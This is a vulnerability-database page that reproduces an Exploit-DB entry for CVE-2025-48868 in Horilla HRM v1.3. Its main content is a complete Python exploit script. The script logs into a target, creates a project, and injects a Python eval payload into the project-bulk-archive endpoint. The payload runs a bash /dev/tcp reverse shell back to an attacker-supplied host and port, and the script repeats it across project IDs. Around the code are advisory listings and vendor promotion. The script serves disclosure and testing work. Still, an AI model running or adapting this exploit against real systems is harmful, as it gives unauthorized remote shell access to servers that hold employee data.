Lucene search
K

Horilla v1.3 - RCE

🗓️ 08 Apr 2026 00:00:00Reported by naklehType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 62 Views

Horilla v1.3 remote code execution CVE-2025-48868; login and create project trigger reverse shell.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-48868
8 Apr 202614:31
circl
CNNVD
Horilla 安全漏洞
24 Sep 202500:00
cnnvd
CVE
CVE-2025-48868
24 Sep 202513:51
cve
Cvelist
CVE-2025-48868 Horilla vulnerable to authenticated RCE via eval() in project_bulk_archive
24 Sep 202513:51
cvelist
EUVD
EUVD-2025-30970
3 Oct 202520:07
euvd
NVD
CVE-2025-48868
24 Sep 202514:15
nvd
OSV
CVE-2025-48868 Horilla vulnerable to authenticated RCE via eval() in project_bulk_archive
24 Sep 202513:51
osv
Packet Storm
📄 Horilla 1.3 Remote Command Execution
10 Apr 202600:00
packetstorm
Positive Technologies
PT-2025-39264
24 Sep 202500:00
ptsecurity
RedhatCVE
CVE-2025-48868
25 Sep 202514:54
redhatcve
Rows per page
# Exploit Title:  Horilla v1.3 - RCE
# Date: 2025-05-29
# Exploit Author: Raghad Abdallah Al-syouf
# Version: <= 1.3
# Tested on: Ubuntu / Docker
# CVE: CVE-2025-48868


Description:
This script exploits the authenticated RCE vulnerability CVE-2025-48868.
It logs into the target web app, creates a project, and sends payloads
to achieve a reverse shell connection to a listener **started manually** by the user.

Usage:
    python3 CVE_2025_48868.py --url http[s]://target:port --user username --pass password --lhost YOUR_IP --lport LISTENER_PORT

Example:
    python3 CVE_2025_48868.py --url http://127.0.0.1:8000 --user admin --pass admin --lhost 192.168.1.100 --lport 4444
"""

import requests
import time
import sys
import argparse
from bs4 import BeautifulSoup
import urllib3
import random
import string
from datetime import datetime

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def generate_random_title():
    letters = ''.join(random.choices(string.ascii_lowercase, k=4))
    digits = ''.join(random.choices(string.digits, k=2))
    return letters + digits

def main():
    print("[+] CVE-2025-48868")

    parser = argparse.ArgumentParser(description='Exploit for CVE-2025-48868: Authenticated RCE in Horilla HRM software v1.3. Exploit by:Nakleh Said Zeidan')
    parser.add_argument('--url', required=True, help='Target URL, e.g. http://localhost:8000')
    parser.add_argument('--user', required=True, help='Username for login')
    parser.add_argument('--pass', required=True, dest='password', help='Password for login')
    parser.add_argument('--lhost', required=True, help='Attacker IP (listener must be started manually)')
    parser.add_argument('--lport', required=True, type=int, help='Attacker port (listener must be started manually)')

    args = parser.parse_args()

    base_url = args.url.rstrip('/')
    login_url = f"{base_url}/login/"
    project_url = f"{base_url}/project/project-bulk-archive"
    session = requests.Session()
    headers = {
        "User-Agent": "Mozilla/5.0",
        "X-Requested-With": "XMLHttpRequest"
    }

    print("[+] Getting login page...")
    login_page = session.get(login_url, headers=headers, verify=False)
    if login_page.status_code != 200:
        print(f"[-] Failed to load login page, status {login_page.status_code}")
        sys.exit(1)

    soup = BeautifulSoup(login_page.text, 'html.parser')
    csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']

    login_data = {
        "username": args.user,
        "password": args.password,
        "csrfmiddlewaretoken": csrf_token
    }

    print("[+] Logging in...")
    login_resp = session.post(login_url, data=login_data, headers=headers, verify=False)
    if login_resp.status_code != 200 or "logout" not in login_resp.text.lower():
        print("[-] Login failed")
        sys.exit(1)
    print("[+] Logged in successfully!")

    project_view_url = f"{base_url}/project/project-view/"
    project_view = session.get(project_view_url, headers=headers, verify=False)
    soup = BeautifulSoup(project_view.text, 'html.parser')
    csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']

    print("[+] Creating project...")
    create_project_url = f"{base_url}/project/create-project?"
    today_str = datetime.now().strftime("%Y-%m-%d")
    random_title = generate_random_title()
    multipart_data = {
        "is_active": "on",
        "title": random_title,
        "managers": "1",
        "members": "1",
        "status": "new",
        "start_date": today_str,
        "end_date": today_str,
        "description": "Exploit project"
    }

    create_headers = {
        "User-Agent": "Mozilla/5.0",
        "Accept": "*/*",
        "Referer": project_view_url,
        "HX-Request": "true",
        "HX-Trigger": "hlvd701Form",
        "HX-Target": "hlvd701Form",
        "HX-Current-URL": project_view_url,
        "X-CSRFToken": csrf_token,
        "Origin": base_url,
        "DNT": "1",
        "Connection": "keep-alive",
    }

    create_resp = session.post(create_project_url, data=multipart_data, headers=create_headers, verify=False)
    if create_resp.status_code == 200:
        print(f"[+] Project created successfully with title: {random_title}")
    else:
        print(f"[-] Project creation may have failed (status {create_resp.status_code}), continuing anyway...")

    headers["Referer"] = project_view_url
    headers["Origin"] = base_url
    headers["Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8"

    print("[*] Ensure your listener is running: `nc -lvnp {}`".format(args.lport))
    print("[+] Sending payload...")

    i = 1
    while True:
        encoded_ids = f"%5B%22{i}%22%5D"
        payload = f"__import__('os').system('bash+-c+\"bash+-i+>%26+/dev/tcp/{args.lhost}/{args.lport}+0>%261\"')"
        exploit_url = f"{project_url}?is_active={payload}"
        data = f"csrfmiddlewaretoken={csrf_token}&ids={encoded_ids}"
        response = session.post(exploit_url, headers=headers, data=data, verify=False)

        if response.status_code == 200:
            print(f"[+] Payload sent for project id {i}. Waiting for shell...")
        else:
            print(f"[-] Error sending payload for project id {i} (status {response.status_code})")

        time.sleep(3)
        i += 1

if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Apr 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.17.2
EPSS0.04682
SSVC
62